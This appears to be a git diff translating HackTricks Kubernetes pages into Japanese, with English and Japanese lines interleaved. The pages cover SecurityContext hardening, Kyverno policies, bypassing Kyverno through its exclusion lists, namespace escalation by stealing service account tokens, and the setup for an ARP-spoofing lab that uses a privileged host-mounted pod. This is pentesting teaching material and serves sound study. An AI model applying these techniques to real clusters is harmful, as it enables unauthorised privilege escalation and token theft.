- 次の順序でマスターノードコンポーネントをアップグレードします。
- etcd (すべてのインスタンス)。
- kube-apiserver (すべてのコントロールプレーンホスト)。
- kube-controller-manager。
- kube-scheduler。
- クラウドコントローラーマネージャー (使用している場合)。
- kube-proxy、kubelet などのワーカーノードコンポーネントをアップグレードします。
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74
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
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@@ -6,53 +6,53 @@
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
Podのセキュリティコンテキストを指定する際、いくつかの属性を使用できます。防御的なセキュリティの観点から考慮すべきことは次のとおりです：
- To have **runASNonRoot** as **True**
- To configure **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
- **runASNonRoot**を**True**に設定する
- **runAsUser**を設定する
- 可能であれば、**seLinuxOptions**や**seccompProfile**を指定して**permissions**を**制限**することを検討する
- **runAsGroup**や**supplementaryGroups**を介して**privilege** **group**アクセスを与えない
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>ポッド内の<strong>すべてのコンテナ</strong>に適用される特別な補助グループ。いくつかのボリュームタイプでは、Kubeletがそのボリュームの<strong>所有権を変更</strong>できるようになります：<br>1. 所有するGIDはFSGroupになります<br>2. setgidビットが設定されます（ボリューム内で作成された新しいファイルはFSGroupが所有します）<br>3. パーミッションビットはrw-rw----とORされます。未設定の場合、Kubeletはボリュームの所有権とパーミッションを変更しません。</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | The **seccomp options to use by the containers** in this pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | これは、Pod内で公開される前に<strong>ボリュームの所有権とパーミッションを変更する</strong>動作を定義します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための<strong>GID</strong>。未設定の場合はランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが非rootユーザーとして実行される必要があることを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0（root）として実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための<strong>UID</strong>。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | <strong>すべてのコンテナに適用されるSELinuxコンテキスト</strong>。未指定の場合、コンテナランタイムは各コンテナにランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | このポッド内のコンテナが使用する<strong>seccompオプション</strong>。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | コンテナ内の最初のプロセスに適用される<strong>グループのリスト</strong>、コンテナの主要GIDに加えて。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctlsは<strong>ポッドに使用される名前空間付きsysctlsのリスト</strong>を保持します。サポートされていないsysctlsを持つポッド（コンテナランタイムによって）は起動に失敗する可能性があります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべてのコンテナに適用されるWindows特有の設定。未指定の場合、コンテナのSecurityContext内のオプションが使用されます。 |
## SecurityContext
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
このコンテキストは<strong>コンテナ定義内</strong>に設定されます。防御的なセキュリティの観点から考慮すべきことは次のとおりです：
- **allowPrivilegeEscalation** to **False**
- Do not add sensitive **capabilities** (and remove the ones you don't need)
- **privileged** to **False**
- If possible, set **readOnlyFilesystem** as **True**
- Set **runAsNonRoot** to **True** and set a **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup.**
- **allowPrivilegeEscalation**を**False**に設定する
- 機密の<strong>capabilities</strong>を追加せず（必要のないものは削除する）
- **privileged**を**False**に設定する
- 可能であれば、**readOnlyFilesystem**を**True**に設定する
- **runAsNonRoot**を**True**に設定し、**runAsUser**を設定する
- 可能であれば、**seLinuxOptions**や**seccompProfile**を指定して**permissions**を**制限**することを検討する
- **runAsGroup**を介して**privilege** **group**アクセスを与えない。
Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
**SecurityContext**と**PodSecurityContext**の両方に設定された属性に注意してください。**SecurityContext**で指定された値が**優先**されます。
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation**は、プロセスが親プロセスよりも<strong>より多くの権限を得る</strong>ことができるかどうかを制御します。このboolは、no_new_privsフラグがコンテナプロセスに設定されるかどうかを直接制御します。AllowPrivilegeEscalationは、コンテナが**Privileged**として実行されるか、**CAP_SYS_ADMIN**を持つ場合は常にtrueです。 |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Whether this **container has a read-only root filesystem**. Default is false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint** of the container process. Uses runtime default if unset. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | The **seccomp options** to use by this container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The **Windows specific settings** applied to all containers. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | コンテナを実行する際に追加/削除する<strong>capabilities</strong>。デフォルトはデフォルトのcapabilitiesのセットです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 特権モードでコンテナを実行します。特権コンテナ内のプロセスは、基本的に<strong>ホスト上のrootと同等</strong>です。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMountは、コンテナに使用する<strong>procマウントのタイプ</strong>を示します。デフォルトはDefaultProcMountで、読み取り専用パスとマスクされたパスに対してコンテナランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | この<strong>コンテナが読み取り専用のルートファイルシステムを持つかどうか</strong>。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための<strong>GID</strong>。未設定の場合はランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが<strong>非rootユーザーとして実行される必要がある</strong>ことを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0（root）として実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための<strong>UID</strong>。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | コンテナに適用される<strong>SELinuxコンテキスト</strong>。未指定の場合、コンテナランタイムは各コンテナにランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | このコンテナが使用する<strong>seccompオプション</strong>。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | すべてのコンテナに適用される<strong>Windows特有の設定</strong>。 |
## References
@@ -60,7 +60,3 @@ Note that the attributes set in **both SecurityContext and PodSecurityContext**,
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
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70
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
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@@ -1,60 +1,54 @@
# Kubernetes Kyverno
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition&#x20;
## 定義&#x20;
Kyverno is an open-source, policy management framework for Kubernetes that enables organizations to define, enforce, and audit policies across their entire Kubernetes infrastructure. It provides a scalable, extensible, and highly customizable solution for managing the security, compliance, and governance of Kubernetes clusters.
Kyvernoは、Kubernetesのためのオープンソースのポリシー管理フレームワークであり、組織がKubernetesインフラ全体でポリシーを定義、施行、監査できるようにします。これは、Kubernetesクラスターのセキュリティ、コンプライアンス、およびガバナンスを管理するためのスケーラブルで拡張可能、かつ非常にカスタマイズ可能なソリューションを提供します。
## Use cases
## ユースケース
Kyverno can be used in a variety of use cases, including:
Kyvernoは、さまざまなユースケースで使用できます。例えば：
1. **Network Policy Enforcement**: Kyverno can be used to enforce network policies, such as allowing or blocking traffic between pods or services.
2. **Secret Management**: Kyverno can be used to enforce secret management policies, such as requiring secrets to be stored in a specific format or location.
3. **Access Control**: Kyverno can be used to enforce access control policies, such as requiring users to have specific roles or permissions to access certain resources.
1. **ネットワークポリシーの施行**: Kyvernoは、ポッドやサービス間のトラフィックを許可またはブロックするなどのネットワークポリシーを施行するために使用できます。
2. **シークレット管理**: Kyvernoは、シークレットを特定の形式または場所に保存することを要求するなどのシークレット管理ポリシーを施行するために使用できます。
3. **アクセス制御**: Kyvernoは、特定のリソースにアクセスするためにユーザーが特定の役割や権限を持つことを要求するなどのアクセス制御ポリシーを施行するために使用できます。
## **Example: ClusterPolicy and Policy**
## **例: ClusterPolicyとPolicy**
Let's say we have a Kubernetes cluster with multiple namespaces, and we want to enforce a policy that requires all pods in the `default` namespace to have a specific label.
Kubernetesクラスターに複数のネームスペースがあり、`default`ネームスペース内のすべてのポッドに特定のラベルを持たせるポリシーを施行したいとしましょう。
**ClusterPolicy**
A ClusterPolicy is a high-level policy that defines the overall policy intent. In this case, our ClusterPolicy might look like this:
ClusterPolicyは、全体的なポリシーの意図を定義する高レベルのポリシーです。この場合、私たちのClusterPolicyは次のようになります：
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-label
name: require-label
spec:
rules:
- validate:
message: "Pods in the default namespace must have the label 'app: myapp'"
match:
any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
- any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
validationFailureAction: enforce
rules:
- validate:
message: "Pods in the default namespace must have the label 'app: myapp'"
match:
any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
- any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
validationFailureAction: enforce
```
When a pod is created in the `default` namespace without the label `app: myapp`, Kyverno will block the request and return an error message indicating that the pod does not meet the policy requirements.
`default` 名前空間に `app: myapp` ラベルなしでポッドが作成されると、Kyverno はリクエストをブロックし、ポリシー要件を満たしていないことを示すエラーメッセージを返します。
## References
* [https://kyverno.io/](https://kyverno.io/)

66
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
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@@ -1,64 +1,54 @@
# Kubernetes Kyverno bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing policies misconfiguration
## ポリシーの誤設定を悪用する
### Enumerate rules
Having an overview may help to know which rules are active, on which mode and who can bypass it
### ルールの列挙
概要を把握することで、どのルールがアクティブで、どのモードで、誰がそれをバイパスできるかを知るのに役立ちます。
```bash
$ kubectl get clusterpolicies
$ kubectl get policies
```
### 除外の列挙
### Enumerate Excluded
各ClusterPolicyおよびPolicyに対して、除外されたエンティティのリストを指定できます。これには以下が含まれます：
For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
- グループ: `excludedGroups`
- ユーザー: `excludedUsers`
- サービスアカウント (SA): `excludedServiceAccounts`
- ロール: `excludedRoles`
- クラスターロール: `excludedClusterRoles`
- Groups: `excludedGroups`
- Users: `excludedUsers`
- Service Accounts (SA): `excludedServiceAccounts`
- Roles: `excludedRoles`
- Cluster Roles: `excludedClusterRoles`
これらの除外されたエンティティはポリシー要件から免除され、Kyvernoはそれらに対してポリシーを強制しません。
These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
## Example&#x20;
Let's dig into one clusterpolicy example :&#x20;
## 例&#x20;
1つのclusterpolicyの例を掘り下げてみましょう :&#x20;
```
$ kubectl get clusterpolicies MYPOLICY -o yaml
```
Look for the excluded entities :&#x20;
除外されたエンティティを探します :&#x20;
```yaml
exclude:
any:
- clusterRoles:
- cluster-admin
- subjects:
- kind: User
name: system:serviceaccount:DUMMYNAMESPACE:admin
- kind: User
name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
any:
- clusterRoles:
- cluster-admin
- subjects:
- kind: User
name: system:serviceaccount:DUMMYNAMESPACE:admin
- kind: User
name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
```
クラスター内では、多くの追加コンポーネント、オペレーター、およびアプリケーションがクラスター ポリシーから除外される必要がある場合があります。しかし、これは特権エンティティをターゲットにすることで悪用される可能性があります。場合によっては、名前空間が存在しないように見えたり、ユーザーをなりすます権限がないように見えたりすることがあり、これは設定ミスの兆候である可能性があります。
Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
## ValidatingWebhookConfigurationの悪用
## Abusing ValidatingWebhookConfiguration
Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource :&#x20;
ポリシーをバイパスする別の方法は、ValidatingWebhookConfigurationリソースに焦点を当てることです :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}

26
src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
View File

@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
Kubernetesでは、**名前空間に侵入することが比較的一般的です**（ユーザーの認証情報を盗んだり、ポッドを侵害したりすることによって）。しかし、通常は**より興味深いものが見つかるため、別の名前空間に昇格することに興味があります**。
Here are some techniques you can try to escape to a different namespace:
別の名前空間に逃げるために試すことができるいくつかの技術は次のとおりです：
### Abuse K8s privileges
### K8sの権限を悪用する
Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
明らかに、あなたが盗んだアカウントが昇格先の名前空間に対して敏感な権限を持っている場合、**サービスアカウントを使用してポッドを作成する**、**既存のポッド内でシェルを実行する**、または**秘密**のSAトークンを読むなどのアクションを悪用できます。
For more info about which privileges you can abuse read:
どの権限を悪用できるかについての詳細は、次を読んでください：
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Escape to the node
### ノードに逃げる
If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
ポッドを侵害して逃げることができる場合や、特権ポッドを作成して逃げることができる場合、他のSAトークンを盗むためにいくつかのことを行うことができます：
- Check for **SAs tokens mounted in other docker containers** running in the node
- Check for new **kubeconfig files in the node with extra permissions** given to the node
- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
- ノードで実行されている他のDockerコンテナにマウントされた**SAトークン**を確認する
- ノードに**追加の権限**が与えられた新しい**kubeconfigファイル**があるか確認する
- 有効になっている場合（または自分で有効にする）、**他の名前空間のミラーリングポッドを作成する**ことを試みると、これらの名前空間のデフォルトトークンアカウントにアクセスできるかもしれません（私はまだこれをテストしていません）
All these techniques are explained in:
これらの技術は次に説明されています：
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
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260
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
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@@ -4,92 +4,91 @@
## Introduction
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
Kubernetesでは、デフォルトの動作により、**同じノードに存在するすべてのコンテナ間の接続が確立される**ことが許可されています。これは、名前空間の違いに関係なく適用されます。このような接続は、**Layer 2**（イーサネット）まで拡張されます。したがって、この構成はシステムを脆弱性にさらす可能性があります。具体的には、**悪意のあるコンテナ**が同じノードにある他のコンテナに対して**ARPスプーフィング攻撃**を実行する可能性を開きます。この攻撃中、悪意のあるコンテナは、他のコンテナ向けのネットワークトラフィックを欺いて傍受または変更することができます。
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
ARPスプーフィング攻撃は、**攻撃者が偽のARP**（アドレス解決プロトコル）メッセージをローカルエリアネットワーク上で送信することを含みます。これにより、**攻撃者のMACアドレスがネットワーク上の正当なコンピュータまたはサーバーのIPアドレスにリンクされます**。このような攻撃が成功裏に実行された後、攻撃者はデータを傍受、変更、または停止することさえできます。この攻撃はOSIモデルのLayer 2で実行されるため、Kubernetesにおけるこのレイヤーでのデフォルトの接続性はセキュリティ上の懸念を引き起こします。
In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
シナリオでは、4台のマシンが作成されます：
- ubuntu-pe: ノードに逃げてメトリクスを確認するための特権マシン（攻撃には必要ありません）
- **ubuntu-attack**: **悪意のある**コンテナ（デフォルトの名前空間）
- **ubuntu-victim**: **被害者**マシン（kube-system名前空間）
- **mysql**: **被害者**マシン（デフォルトの名前空間）
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
name: ubuntu-victim
